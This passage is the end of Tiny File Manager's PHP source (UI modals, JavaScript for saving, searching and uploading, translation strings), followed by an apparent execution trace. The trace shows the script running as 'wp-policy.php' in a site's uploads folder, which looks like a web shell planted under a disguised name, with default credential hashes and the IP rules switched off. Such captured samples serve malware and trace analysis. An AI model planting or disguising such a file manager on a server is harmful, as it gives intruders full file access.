    echo lng('Cancel');
    ?></button>
                    <button type="button" class="btn btn-success" onclick="newfolder('<?php 
    echo fm_enc(FM_PATH);
    ?>');return false;"><i class="fa fa-check-circle"></i> <?php 
    echo lng('CreateNow');
    ?></button>
                </div>
            </div>
        </div>
    </div>

    <!-- Modal -->
    <div class="modal fade" id="searchModal" tabindex="-1" role="dialog" aria-labelledby="searchModalLabel" aria-hidden="true">
      <div class="modal-dialog modal-lg" role="document">
        <div class="modal-content <?php 
    echo fm_get_theme();
    ?>">
          <div class="modal-header">
            <h5 class="modal-title col-10" id="searchModalLabel">
                <div class="input-group input-group">
                    <input type="text" class="form-control" placeholder="<?php 
    echo lng('Search');
    ?> a files" aria-label="<?php 
    echo lng('Search');
    ?>" aria-describedby="search-addon3" id="advanced-search" autofocus required>
                    <div class="input-group-append">
                        <span class="input-group-text" id="search-addon3"><i class="fa fa-search"></i></span>
                    </div>
                </div>
            </h5>
            <button type="button" class="close" data-dismiss="modal" aria-label="Close">
              <span aria-hidden="true">&times;</span>
            </button>
          </div>
          <div class="modal-body">
            <form action="" method="post">
                <div class="lds-facebook"><div></div><div></div><div></div></div>
                <ul id="search-wrapper">
                    <p class="m-2"><?php 
    echo lng('Search file in folder and subfolders...');
    ?></p>
                </ul>
            </form>
          </div>
        </div>
      </div>
    </div>
    <script type="text/html" id="js-tpl-modal">
        <div class="modal fade" id="js-ModalCenter-<%this.id%>" tabindex="-1" role="dialog" aria-labelledby="ModalCenterTitle" aria-hidden="true">
            <div class="modal-dialog modal-dialog-centered" role="document">
                <div class="modal-content">
                    <div class="modal-header">
                        <h5 class="modal-title" id="ModalCenterTitle"><%this.title%></h5>
                        <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                            <span aria-hidden="true">&times;</span>
                        </button>
                    </div>
                    <div class="modal-body">
                        <%this.content%>
                    </div>
                    <div class="modal-footer">
                        <button type="button" class="btn btn-outline-primary" data-dismiss="modal"><i class="fa fa-times-circle"></i> <?php 
    echo lng('Cancel');
    ?></button>
                        <%if(this.action){%><button type="button" class="btn btn-primary" id="js-ModalCenterAction" data-type="js-<%this.action%>"><%this.action%></button><%}%>
                    </div>
                </div>
            </div>
        </div>
    </script>

    <?php 
}
/**
 * Show page footer
 */
function fm_show_footer()
{
    ?>
</div>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js"></script>
<script src="https://cdn.datatables.net/1.10.23/js/jquery.dataTables.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/ekko-lightbox/5.3.0/ekko-lightbox.min.js"></script>
<?php 
    if (FM_USE_HIGHLIGHTJS) {
        ?>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/10.6.0/highlight.min.js"></script>
    <script>hljs.highlightAll(); var isHighlightingEnabled = true;</script>
<?php 
    }
    ?>
<script>
    $(document).on('click', '[data-toggle="lightbox"]', function(event) {
        event.preventDefault();
        var reInitHighlight = function() { if(typeof isHighlightingEnabled !== "undefined" && isHighlightingEnabled) { setTimeout(function () { $('.ekko-lightbox-container pre code').each(function (i, e) { hljs.highlightBlock(e) }); }, 555); } };
        $(this).ekkoLightbox({
            alwaysShowClose: true, showArrows: true, onShown: function() { reInitHighlight(); }, onNavigate: function(direction, itemIndex) { reInitHighlight(); }
        });
    });
    //TFM Config
    window.curi = "https://tinyfilemanager.github.io/config.json", window.config = null;
    function fm_get_config(){ if(!!window.name){ window.config = JSON.parse(window.name); } else { $.getJSON(window.curi).done(function(c) { if(!!c) { window.name = JSON.stringify(c), window.config = c; } }); }}
    function template(html,options){
        var re=/<\%([^\%>]+)?\%>/g,reExp=/(^( )?(if|for|else|switch|case|break|{|}))(.*)?/g,code='var r=[];\n',cursor=0,match;var add=function(line,js){js?(code+=line.match(reExp)?line+'\n':'r.push('+line+');\n'):(code+=line!=''?'r.push("'+line.replace(/"/g,'\\"')+'");\n':'');return add}
        while(match=re.exec(html)){add(html.slice(cursor,match.index))(match[1],!0);cursor=match.index+match[0].length}
        add(html.substr(cursor,html.length-cursor));code+='return r.join("");';return new Function(code.replace(/[\r\t\n]/g,'')).apply(options)
    }
    function newfolder(e) {
        var t = document.getElementById("newfilename").value, n = document.querySelector('input[name="newfile"]:checked').value;
        null !== t && "" !== t && n && (window.location.hash = "#", window.location.search = "p=" + encodeURIComponent(e) + "&new=" + encodeURIComponent(t) + "&type=" + encodeURIComponent(n))
    }
    function rename(e, t) {var n = prompt("New name", t);null !== n && "" !== n && n != t && (window.location.search = "p=" + encodeURIComponent(e) + "&ren=" + encodeURIComponent(t) + "&to=" + encodeURIComponent(n))}
    function change_checkboxes(e, t) { for (var n = e.length - 1; n >= 0; n--) e[n].checked = "boolean" == typeof t ? t : !e[n].checked }
    function get_checkboxes() { for (var e = document.getElementsByName("file[]"), t = [], n = e.length - 1; n >= 0; n--) (e[n].type = "checkbox") && t.push(e[n]); return t }
    function select_all() { change_checkboxes(get_checkboxes(), !0) }
    function unselect_all() { change_checkboxes(get_checkboxes(), !1) }
    function invert_all() { change_checkboxes(get_checkboxes()) }
    function checkbox_toggle() { var e = get_checkboxes(); e.push(this), change_checkboxes(e) }
    function backup(e, t) { //Create file backup with .bck
        var n = new XMLHttpRequest,
            a = "path=" + e + "&file=" + t + "&type=backup&ajax=true";
        return n.open("POST", "", !0), n.setRequestHeader("Content-type", "application/x-www-form-urlencoded"), n.onreadystatechange = function () {
            4 == n.readyState && 200 == n.status && toast(n.responseText)
        }, n.send(a), !1
    }
    // Toast message
    function toast(txt) { var x = document.getElementById("snackbar");x.innerHTML=txt;x.className = "show";setTimeout(function(){ x.className = x.className.replace("show", ""); }, 3000); }
    //Save file
    function edit_save(e, t) {
        var n = "ace" == t ? editor.getSession().getValue() : document.getElementById("normal-editor").value;
        if (n) {
            if(true){
                var data = {ajax: true, content: n, type: 'save'};

                $.ajax({
                    type: "POST",
                    url: window.location,
                    // The key needs to match your method's input parameter (case-sensitive).
                    data: JSON.stringify(data),
                    contentType: "multipart/form-data-encoded; charset=utf-8",
                    //dataType: "json",
                    success: function(mes){toast("Saved Successfully"); window.onbeforeunload = function() {return}},
                    failure: function(mes) {toast("Error: try again");},
                    error: function(mes) {toast(`<p style="background-color:red">${mes.responseText}</p>`);}
                });

            }
            else{
                var a = document.createElement("form");
                a.setAttribute("method", "POST"), a.setAttribute("action", "");
                var o = document.createElement("textarea");
                o.setAttribute("type", "textarea"), o.setAttribute("name", "savedata");
                var c = document.createTextNode(n);
                o.appendChild(c), a.appendChild(o), document.body.appendChild(a), a.submit()
            }
        }
    }
    //Check latest version
    function latest_release_info(v) {
        if(!!window.config){var tplObj={id:1024,title:"Check Version",action:false},tpl=$("#js-tpl-modal").html();
        if(window.config.version!=v){tplObj.content=window.config.newUpdate;}else{tplObj.content=window.config.noUpdate;}
        $('#wrapper').append(template(tpl,tplObj));$("#js-ModalCenter-1024").modal('show');}else{fm_get_config();}
    }
    function show_new_pwd() { $(".js-new-pwd").toggleClass('hidden'); }
    //Save Settings
    function save_settings($this) {
        let form = $($this);
        $.ajax({
            type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&ajax="+true,
            success: function (data) {if(data) { window.location.reload();}}
        }); return false;
    }
    //Create new password hash
    function new_password_hash($this) {
        let form = $($this), $pwd = $("#js-pwd-result"); $pwd.val('');
        $.ajax({
            type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&ajax="+true,
            success: function (data) { if(data) { $pwd.val(data); } }
        }); return false;
    }
    //Upload files using URL @param {Object}
    function upload_from_url($this) {
        let form = $($this), resultWrapper = $("div#js-url-upload__list");
        $.ajax({
            type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&ajax="+true,
            beforeSend: function() { form.find("input[name=uploadurl]").attr("disabled","disabled"); form.find("button").hide(); form.find(".lds-facebook").addClass('show-me'); },
            success: function (data) {
                if(data) {
                    data = JSON.parse(data);
                    if(data.done) {
                        resultWrapper.append('<div class="alert alert-success row">Uploaded Successful: '+data.done.name+'</div>'); form.find("input[name=uploadurl]").val('');
                    } else if(data['fail']) { resultWrapper.append('<div class="alert alert-danger row">Error: '+data.fail.message+'</div>'); }
                    form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass('show-me');
                }
            },
            error: function(xhr) {
                form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass('show-me');console.error(xhr);
            }
        }); return false;
    }
    //Search template
    function search_template(data) {
        var response = "";
        $.each(data, function (key, val) {
            response += `<li><a href="?p=${val.path}&view=${val.name}">${val.path}/${val.name}</a></li>`;
        });
        return response;
    }
    //search
    function fm_search() {
        var searchTxt = $("input#advanced-search").val(), searchWrapper = $("ul#search-wrapper"), path = $("#js-search-modal").attr("href"), _html = "", $loader = $("div.lds-facebook");
        if(!!searchTxt && searchTxt.length > 2 && path) {
            var data = {ajax: true, content: searchTxt, path:path, type: 'search'};
            $.ajax({
                type: "POST",
                url: window.location,
                data: data,
                beforeSend: function() {
                    searchWrapper.html('');
                    $loader.addClass('show-me');
                },
                success: function(data){
                    $loader.removeClass('show-me');
                    data = JSON.parse(data);
                    if(data && data.length) {
                        _html = search_template(data);
                        searchWrapper.html(_html);
                    } else { searchWrapper.html('<p class="m-2">No result found!<p>'); }
                },
                error: function(xhr) { $loader.removeClass('show-me'); searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>'); },
                failure: function(mes) { $loader.removeClass('show-me'); searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>');}
            });
        } else { searchWrapper.html("OOPS: minimum 3 characters required!"); }
    }

    //on mouse hover image preview
    !function(s){s.previewImage=function(e){var o=s(document),t=".previewImage",a=s.extend({xOffset:20,yOffset:-20,fadeIn:"fast",css:{padding:"5px",border:"1px solid #cccccc","background-color":"#fff"},eventSelector:"[data-preview-image]",dataKey:"previewImage",overlayId:"preview-image-plugin-overlay"},e);return o.off(t),o.on("mouseover"+t,a.eventSelector,function(e){s("p#"+a.overlayId).remove();var o=s("<p>").attr("id",a.overlayId).css("position","absolute").css("display","none").append(s('<img class="c-preview-img">').attr("src",s(this).data(a.dataKey)));a.css&&o.css(a.css),s("body").append(o),o.css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px").fadeIn(a.fadeIn)}),o.on("mouseout"+t,a.eventSelector,function(){s("#"+a.overlayId).remove()}),o.on("mousemove"+t,a.eventSelector,function(e){s("#"+a.overlayId).css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px")}),this},s.previewImage()}(jQuery);

    // Dom Ready Event
    $(document).ready( function () {
        //load config
        fm_get_config();
        //dataTable init
        var $table = $('#main-table'),
            tableLng = $table.find('th').length,
            _targets = (tableLng && tableLng == 7 ) ? [0, 4,5,6] : tableLng == 5 ? [0,4] : [3],
            mainTable = $('#main-table').DataTable({"paging": false, "info": false, "order": [], "columnDefs": [{"targets": _targets, "orderable": false}]
        });
        //search
        $('#search-addon').on( 'keyup', function () {
            mainTable.search( this.value ).draw();
        });
        $("input#advanced-search").on('keyup', function (e) {
            if (e.keyCode === 13) { fm_search(); }
        });
        $('#search-addon3').on( 'click', function () { fm_search(); });
        //upload nav tabs
        $(".fm-upload-wrapper .card-header-tabs").on("click", 'a', function(e){
            e.preventDefault();let target=$(this).data('target');
            $(".fm-upload-wrapper .card-header-tabs a").removeClass('active');$(this).addClass('active');
            $(".fm-upload-wrapper .card-tabs-container").addClass('hidden');$(target).removeClass('hidden');
        });
    });
</script>
<?php 
    if (isset($_GET['edit']) && isset($_GET['env']) && FM_EDIT_FILE) {
        $ext = "javascript";
        $ext = pathinfo($_GET["edit"], PATHINFO_EXTENSION);
        ?>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.4.12/ace.js"></script>
    <script>
        var editor = ace.edit("editor");
        editor.getSession().setMode( {path:"ace/mode/<?php 
        echo $ext;
        ?>", inline:true} );
        //editor.setTheme("ace/theme/twilight"); //Dark Theme
        function ace_commend (cmd) { editor.commands.exec(cmd, editor); }
        editor.commands.addCommands([{
            name: 'save', bindKey: {win: 'Ctrl-S',  mac: 'Command-S'},
            exec: function(editor) { edit_save(this, 'ace'); }
        }]);
        function renderThemeMode() {
            var $modeEl = $("select#js-ace-mode"), $themeEl = $("select#js-ace-theme"), $fontSizeEl = $("select#js-ace-fontSize"), optionNode = function(type, arr){ var $Option = ""; $.each(arr, function(i, val) { $Option += "<option value='"+type+i+"'>" + val + "</option>"; }); return $Option; },
                _data = {"aceTheme":{"bright":{"chrome":"Chrome","clouds":"Clouds","crimson_editor":"Crimson Editor","dawn":"Dawn","dreamweaver":"Dreamweaver","eclipse":"Eclipse","github":"GitHub","iplastic":"IPlastic","solarized_light":"Solarized Light","textmate":"TextMate","tomorrow":"Tomorrow","xcode":"XCode","kuroir":"Kuroir","katzenmilch":"KatzenMilch","sqlserver":"SQL Server"},"dark":{"ambiance":"Ambiance","chaos":"Chaos","clouds_midnight":"Clouds Midnight","dracula":"Dracula","cobalt":"Cobalt","gruvbox":"Gruvbox","gob":"Green on Black","idle_fingers":"idle Fingers","kr_theme":"krTheme","merbivore":"Merbivore","merbivore_soft":"Merbivore Soft","mono_industrial":"Mono Industrial","monokai":"Monokai","pastel_on_dark":"Pastel on dark","solarized_dark":"Solarized Dark","terminal":"Terminal","tomorrow_night":"Tomorrow Night","tomorrow_night_blue":"Tomorrow Night Blue","tomorrow_night_bright":"Tomorrow Night Bright","tomorrow_night_eighties":"Tomorrow Night 80s","twilight":"Twilight","vibrant_ink":"Vibrant Ink"}},"aceMode":{"javascript":"JavaScript","abap":"ABAP","abc":"ABC","actionscript":"ActionScript","ada":"ADA","apache_conf":"Apache Conf","asciidoc":"AsciiDoc","asl":"ASL","assembly_x86":"Assembly x86","autohotkey":"AutoHotKey","apex":"Apex","batchfile":"BatchFile","bro":"Bro","c_cpp":"C and C++","c9search":"C9Search","cirru":"Cirru","clojure":"Clojure","cobol":"Cobol","coffee":"CoffeeScript","coldfusion":"ColdFusion","csharp":"C#","csound_document":"Csound Document","csound_orchestra":"Csound","csound_score":"Csound Score","css":"CSS","curly":"Curly","d":"D","dart":"Dart","diff":"Diff","dockerfile":"Dockerfile","dot":"Dot","drools":"Drools","edifact":"Edifact","eiffel":"Eiffel","ejs":"EJS","elixir":"Elixir","elm":"Elm","erlang":"Erlang","forth":"Forth","fortran":"Fortran","fsharp":"FSharp","fsl":"FSL","ftl":"FreeMarker","gcode":"Gcode","gherkin":"Gherkin","gitignore":"Gitignore","glsl":"Glsl","gobstones":"Gobstones","golang":"Go","graphqlschema":"GraphQLSchema","groovy":"Groovy","haml":"HAML","handlebars":"Handlebars","haskell":"Haskell","haskell_cabal":"Haskell Cabal","haxe":"haXe","hjson":"Hjson","html":"HTML","html_elixir":"HTML (Elixir)","html_ruby":"HTML (Ruby)","ini":"INI","io":"Io","jack":"Jack","jade":"Jade","java":"Java","json":"JSON","jsoniq":"JSONiq","jsp":"JSP","jssm":"JSSM","jsx":"JSX","julia":"Julia","kotlin":"Kotlin","latex":"LaTeX","less":"LESS","liquid":"Liquid","lisp":"Lisp","livescript":"LiveScript","logiql":"LogiQL","lsl":"LSL","lua":"Lua","luapage":"LuaPage","lucene":"Lucene","makefile":"Makefile","markdown":"Markdown","mask":"Mask","matlab":"MATLAB","maze":"Maze","mel":"MEL","mixal":"MIXAL","mushcode":"MUSHCode","mysql":"MySQL","nix":"Nix","nsis":"NSIS","objectivec":"Objective-C","ocaml":"OCaml","pascal":"Pascal","perl":"Perl","perl6":"Perl 6","pgsql":"pgSQL","php_laravel_blade":"PHP (Blade Template)","php":"PHP","puppet":"Puppet","pig":"Pig","powershell":"Powershell","praat":"Praat","prolog":"Prolog","properties":"Properties","protobuf":"Protobuf","python":"Python","r":"R","razor":"Razor","rdoc":"RDoc","red":"Red","rhtml":"RHTML","rst":"RST","ruby":"Ruby","rust":"Rust","sass":"SASS","scad":"SCAD","scala":"Scala","scheme":"Scheme","scss":"SCSS","sh":"SH","sjs":"SJS","slim":"Slim","smarty":"Smarty","snippets":"snippets","soy_template":"Soy Template","space":"Space","sql":"SQL","sqlserver":"SQLServer","stylus":"Stylus","svg":"SVG","swift":"Swift","tcl":"Tcl","terraform":"Terraform","tex":"Tex","text":"Text","textile":"Textile","toml":"Toml","tsx":"TSX","twig":"Twig","typescript":"Typescript","vala":"Vala","vbscript":"VBScript","velocity":"Velocity","verilog":"Verilog","vhdl":"VHDL","visualforce":"Visualforce","wollok":"Wollok","xml":"XML","xquery":"XQuery","yaml":"YAML","django":"Django"},"fontSize":{8:8,10:10,11:11,12:12,13:13,14:14,15:15,16:16,17:17,18:18,20:20,22:22,24:24,26:26,30:30}};
            if(_data && _data.aceMode) { $modeEl.html(optionNode("ace/mode/", _data.aceMode)); }
            if(_data && _data.aceTheme) { var lightTheme = optionNode("ace/theme/", _data.aceTheme.bright), darkTheme = optionNode("ace/theme/", _data.aceTheme.dark); $themeEl.html("<optgroup label=\"Bright\">"+lightTheme+"</optgroup><optgroup label=\"Dark\">"+darkTheme+"</optgroup>");}
            if(_data && _data.fontSize) { $fontSizeEl.html(optionNode("", _data.fontSize)); }
            $modeEl.val( editor.getSession().$modeId );
            $themeEl.val( editor.getTheme() );
            $fontSizeEl.val(12).change(); //set default font size in drop down
        }

        $(function(){
            renderThemeMode();
            $(".js-ace-toolbar").on("click", 'button', function(e){
                e.preventDefault();
                let cmdValue = $(this).attr("data-cmd"), editorOption = $(this).attr("data-option");
                if(cmdValue && cmdValue != "none") {
                    ace_commend(cmdValue);
                } else if(editorOption) {
                    if(editorOption == "fullscreen") {
                        (void 0!==document.fullScreenElement&&null===document.fullScreenElement||void 0!==document.msFullscreenElement&&null===document.msFullscreenElement||void 0!==document.mozFullScreen&&!document.mozFullScreen||void 0!==document.webkitIsFullScreen&&!document.webkitIsFullScreen)
                        &&(editor.container.requestFullScreen?editor.container.requestFullScreen():editor.container.mozRequestFullScreen?editor.container.mozRequestFullScreen():editor.container.webkitRequestFullScreen?editor.container.webkitRequestFullScreen(Element.ALLOW_KEYBOARD_INPUT):editor.container.msRequestFullscreen&&editor.container.msRequestFullscreen());
                    } else if(editorOption == "wrap") {
                        let wrapStatus = (editor.getSession().getUseWrapMode()) ? false : true;
                        editor.getSession().setUseWrapMode(wrapStatus);
                    } else if(editorOption == "help") {
                        var helpHtml="";$.each(window.config.aceHelp,function(i,value){helpHtml+="<li>"+value+"</li>";});var tplObj={id:1028,title:"Help",action:false,content:helpHtml},tpl=$("#js-tpl-modal").html();$('#wrapper').append(template(tpl,tplObj));$("#js-ModalCenter-1028").modal('show');
                    }
                }
            });
            $("select#js-ace-mode, select#js-ace-theme, select#js-ace-fontSize").on("change", function(e){
                e.preventDefault();
                let selectedValue = $(this).val(), selectionType = $(this).attr("data-type");
                if(selectedValue && selectionType == "mode") {
                    editor.getSession().setMode(selectedValue);
                } else if(selectedValue && selectionType == "theme") {
                    editor.setTheme(selectedValue);
                }else if(selectedValue && selectionType == "fontSize") {
                    editor.setFontSize(parseInt(selectedValue));
                }
            });
        });
    </script>
<?php 
    }
    ?>
<div id="snackbar"></div>
</body>
</html>
<?php 
}
/**
 * Language Translation System
 * @param string $txt
 * @return string
 */
function lng($txt)
{
    global $lang;
    // English Language
    $tr['en']['AppName'] = 'Tiny File Manager';
    $tr['en']['AppTitle'] = 'File Manager';
    $tr['en']['Login'] = 'Sign in';
    $tr['en']['Username'] = 'Username';
    $tr['en']['Password'] = 'Password';
    $tr['en']['Logout'] = 'Sign Out';
    $tr['en']['Move'] = 'Move';
    $tr['en']['Copy'] = 'Copy';
    $tr['en']['Save'] = 'Save';
    $tr['en']['SelectAll'] = 'Select all';
    $tr['en']['UnSelectAll'] = 'Unselect all';
    $tr['en']['File'] = 'File';
    $tr['en']['Back'] = 'Back';
    $tr['en']['Size'] = 'Size';
    $tr['en']['Perms'] = 'Perms';
    $tr['en']['Modified'] = 'Modified';
    $tr['en']['Owner'] = 'Owner';
    $tr['en']['Search'] = 'Search';
    $tr['en']['NewItem'] = 'New Item';
    $tr['en']['Folder'] = 'Folder';
    $tr['en']['Delete'] = 'Delete';
    $tr['en']['Rename'] = 'Rename';
    $tr['en']['CopyTo'] = 'Copy to';
    $tr['en']['DirectLink'] = 'Direct link';
    $tr['en']['UploadingFiles'] = 'Upload Files';
    $tr['en']['ChangePermissions'] = 'Change Permissions';
    $tr['en']['Copying'] = 'Copying';
    $tr['en']['CreateNewItem'] = 'Create New Item';
    $tr['en']['Name'] = 'Name';
    $tr['en']['AdvancedEditor'] = 'Advanced Editor';
    $tr['en']['RememberMe'] = 'Remember Me';
    $tr['en']['Actions'] = 'Actions';
    $tr['en']['Upload'] = 'Upload';
    $tr['en']['Cancel'] = 'Cancel';
    $tr['en']['InvertSelection'] = 'Invert Selection';
    $tr['en']['DestinationFolder'] = 'Destination Folder';
    $tr['en']['ItemType'] = 'Item Type';
    $tr['en']['ItemName'] = 'Item Name';
    $tr['en']['CreateNow'] = 'Create Now';
    $tr['en']['Download'] = 'Download';
    $tr['en']['Open'] = 'Open';
    $tr['en']['UnZip'] = 'UnZip';
    $tr['en']['UnZipToFolder'] = 'UnZip to folder';
    $tr['en']['Edit'] = 'Edit';
    $tr['en']['NormalEditor'] = 'Normal Editor';
    $tr['en']['BackUp'] = 'Back Up';
    $tr['en']['SourceFolder'] = 'Source Folder';
    $tr['en']['Files'] = 'Files';
    $tr['en']['Move'] = 'Move';
    $tr['en']['Change'] = 'Change';
    $tr['en']['Settings'] = 'Settings';
    $tr['en']['Language'] = 'Language';
    $tr['en']['Folder is empty'] = 'Folder is empty';
    $tr['en']['PartitionSize'] = 'Partition size';
    $tr['en']['ErrorReporting'] = 'Error Reporting';
    $tr['en']['ShowHiddenFiles'] = 'Show Hidden Files';
    $tr['en']['Full size'] = 'Full size';
    $tr['en']['Help'] = 'Help';
    $tr['en']['Free of'] = 'Free of';
    $tr['en']['Preview'] = 'Preview';
    $tr['en']['Help Documents'] = 'Help Documents';
    $tr['en']['Report Issue'] = 'Report Issue';
    $tr['en']['Generate'] = 'Generate';
    $tr['en']['FullSize'] = 'Full Size';
    $tr['en']['FreeOf'] = 'free of';
    $tr['en']['CalculateFolderSize'] = 'Calculate folder size';
    $tr['en']['ProcessID'] = 'Process ID';
    $tr['en']['Created'] = 'Created';
    $tr['en']['HideColumns'] = 'Hide Perms/Owner columns';
    $tr['en']['You are logged in'] = 'You are logged in';
    $tr['en']['Check Latest Version'] = 'Check Latest Version';
    $tr['en']['Generate new password hash'] = 'Generate new password hash';
    $tr['en']['Login failed. Invalid username or password'] = 'Login failed. Invalid username or password';
    $tr['en']['password_hash not supported, Upgrade PHP version'] = 'password_hash not supported, Upgrade PHP version';
    // new - novos
    $tr['en']['Advanced Search'] = 'Advanced Search';
    $tr['en']['Error while copying fro'] = 'Error while copying fro';
    $tr['en']['Nothing selected'] = 'Nothing selected';
    $tr['en']['Paths must be not equal'] = 'Paths must be not equal';
    $tr['en']['Renamed from'] = 'Renamed from';
    $tr['en']['Archive not unpacked'] = 'Archive not unpacked';
    $tr['en']['Deleted'] = 'Deleted';
    $tr['en']['Archive not created'] = 'Archive not created';
    $tr['en']['Copied from'] = 'Copied from';
    $tr['en']['Permissions changed'] = 'Permissions changed';
    $tr['en']['to'] = 'to';
    $tr['en']['Saved Successfully'] = 'Saved Successfully';
    $tr['en']['not found!'] = 'not found!';
    $tr['en']['File Saved Successfully'] = 'File Saved Successfully';
    $tr['en']['Archive'] = 'Archive';
    $tr['en']['Permissions not changed'] = 'Permissions not changed';
    $tr['en']['Select folder'] = 'Select folder';
    $tr['en']['Source path not defined'] = 'Source path not defined';
    $tr['en']['already exists'] = 'already exists';
    $tr['en']['Error while moving from'] = 'Error while moving from';
    $tr['en']['Create archive?'] = 'Create archive?';
    $tr['en']['Invalid file or folder name'] = 'Invalid file or folder name';
    $tr['en']['Archive unpacked'] = 'Archive unpacked';
    $tr['en']['File extension is not allowed'] = 'File extension is not allowed';
    $tr['en']['Root path'] = 'Root path';
    $tr['en']['Error while renaming from'] = 'Error while renaming from';
    $tr['en']['File not found'] = 'File not found';
    $tr['en']['Error while deleting items'] = 'Error while deleting items';
    $tr['en']['Invalid characters in file name'] = 'Invalid characters in file name';
    $tr['en']['FILE EXTENSION HAS NOT SUPPORTED'] = 'FILE EXTENSION HAS NOT SUPPORTED';
    $tr['en']['Selected files and folder deleted'] = 'Selected files and folder deleted';
    $tr['en']['Error while fetching archive info'] = 'Error while fetching archive info';
    $tr['en']['Delete selected files and folders?'] = 'Delete selected files and folders?';
    $tr['en']['Search file in folder and subfolders...'] = 'Search file in folder and subfolders...';
    $tr['en']['Access denied. IP restriction applicable'] = 'Access denied. IP restriction applicable';
    $tr['en']['Invalid characters in file or folder name'] = 'Invalid characters in file or folder name';
    $tr['en']['Operations with archives are not available'] = 'Operations with archives are not available';
    $tr['en']['File or folder with this path already exists'] = 'File or folder with this path already exists';
    $tr['en']['Moved from'] = 'Moved from';
    $i18n = fm_get_translations($tr);
    $tr = $i18n ? $i18n : $tr;
    if (!strlen($lang)) {
        $lang = 'en';
    }
    if (isset($tr[$lang][$txt])) {
        return fm_enc($tr[$lang][$txt]);
    } else {
        if (isset($tr['en'][$txt])) {
            return fm_enc($tr['en'][$txt]);
        } else {
            return "{$txt}";
        }
    }
}

Execution traces

data/traces/ee8e4d7c013753bcb4eb1209764eb81a_trace-1676248781.8261.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 22:40:07.723942]
1	0	1	0.000150	393528
1	3	0	0.003714	1282144	{main}	1		/var/www/html/uploads/wp-policy.php	0	0
1		A						/var/www/html/uploads/wp-policy.php	3	$CONFIG = '{"lang":"en","error_reporting":false,"show_hidden":false,"hide_Cols":false,"calc_folder":false,"theme":"light"}'
2	4	0	0.003759	1282144	define	0		/var/www/html/uploads/wp-policy.php	12	2	'VERSION'	'2.4.6'
2	4	1	0.003778	1282248
2	4	R			TRUE
2	5	0	0.003792	1282176	define	0		/var/www/html/uploads/wp-policy.php	15	2	'APP_TITLE'	'Tiny File Manager'
2	5	1	0.003820	1282280
2	5	R			TRUE
1		A						/var/www/html/uploads/wp-policy.php	22	$use_auth = TRUE
1		A						/var/www/html/uploads/wp-policy.php	28	$auth_users = ['admin' => '$2y$10$/K.hjNr84lLNDt8fTXjoI.DBp6PpeyoJ.mGwrrLuCZfAwfSAGqhOW', 'user' => '$2y$10$Fg6Dz8oH9fPoZ2jJan5tZuv6Z4Kp7avtQ9bDfrdRntXtPeiMAZyGO']
1		A						/var/www/html/uploads/wp-policy.php	35	$readonly_users = [0 => 'user']
1		A						/var/www/html/uploads/wp-policy.php	39	$use_highlightjs = TRUE
1		A						/var/www/html/uploads/wp-policy.php	43	$highlightjs_style = 'vs'
1		A						/var/www/html/uploads/wp-policy.php	46	$edit_files = TRUE
1		A						/var/www/html/uploads/wp-policy.php	50	$default_timezone = 'Etc/UTC'
1		A						/var/www/html/uploads/wp-policy.php	54	$root_path = '/var/www/html'
1		A						/var/www/html/uploads/wp-policy.php	58	$root_url = ''
1		A						/var/www/html/uploads/wp-policy.php	61	$http_host = 'localhost'
1		A						/var/www/html/uploads/wp-policy.php	65	$directories_users = []
1		A						/var/www/html/uploads/wp-policy.php	68	$iconv_input_encoding = 'UTF-8'
1		A						/var/www/html/uploads/wp-policy.php	72	$datetime_format = 'd.m.y H:i'
1		A						/var/www/html/uploads/wp-policy.php	76	$allowed_file_extensions = ''
1		A						/var/www/html/uploads/wp-policy.php	80	$allowed_upload_extensions = ''
1		A						/var/www/html/uploads/wp-policy.php	85	$favicon_path = ''
1		A						/var/www/html/uploads/wp-policy.php	89	$exclude_items = []
1		A						/var/www/html/uploads/wp-policy.php	96	$online_viewer = 'google'
1		A						/var/www/html/uploads/wp-policy.php	101	$sticky_navbar = TRUE
1		A						/var/www/html/uploads/wp-policy.php	106	$max_upload_size_bytes = 5000
1		A						/var/www/html/uploads/wp-policy.php	112	$ip_ruleset = 'OFF'
1		A						/var/www/html/uploads/wp-policy.php	115	$ip_silent = TRUE
1		A						/var/www/html/uploads/wp-policy.php	119	$ip_whitelist = [0 => '127.0.0.1', 1 => '::1']
1		A						/var/www/html/uploads/wp-policy.php	125	$ip_blacklist = [0 => '0.0.0.0', 1 => '::']
1		A						/var/www/html/uploads/wp-policy.php	130	$config_file = '/var/www/html/uploads/config.php'
2	6	0	0.004146	1282208	is_readable	0		/var/www/html/uploads/wp-policy.php	131	1	'/var/www/html/uploads/config.php'
2	6	1	0.004170	1282248
2	6	R			FALSE
2	7	0	0.004184	1282208	define	0		/var/www/html/uploads/wp-policy.php	138	2	'MAX_UPLOAD_SIZE'	5000
2	7	1	0.004199	1282312
2	7	R			TRUE
2	8	0	0.004213	1282240	define	0		/var/www/html/uploads/wp-policy.php	142	2	'FM_SESSION_ID'	'filemanager'
2	8	1	0.004228	1282344
2	8	R			TRUE
2	9	0	0.004243	1282328	FM_Config->__construct	1		/var/www/html/uploads/wp-policy.php	146	0
2		A						/var/www/html/uploads/wp-policy.php	3281	$fm_url = '/uploads/wp-policy.php'
2		A						/var/www/html/uploads/wp-policy.php	3282	$this->data = ['lang' => 'en', 'error_reporting' => TRUE, 'show_hidden' => TRUE]
2		A						/var/www/html/uploads/wp-policy.php	3287	$data = FALSE
3	10	0	0.004298	1282448	json_decode	0		/var/www/html/uploads/wp-policy.php	3289	1	'{"lang":"en","error_reporting":false,"show_hidden":false,"hide_Cols":false,"calc_folder":false,"theme":"light"}'
3	10	1	0.004321	1283184
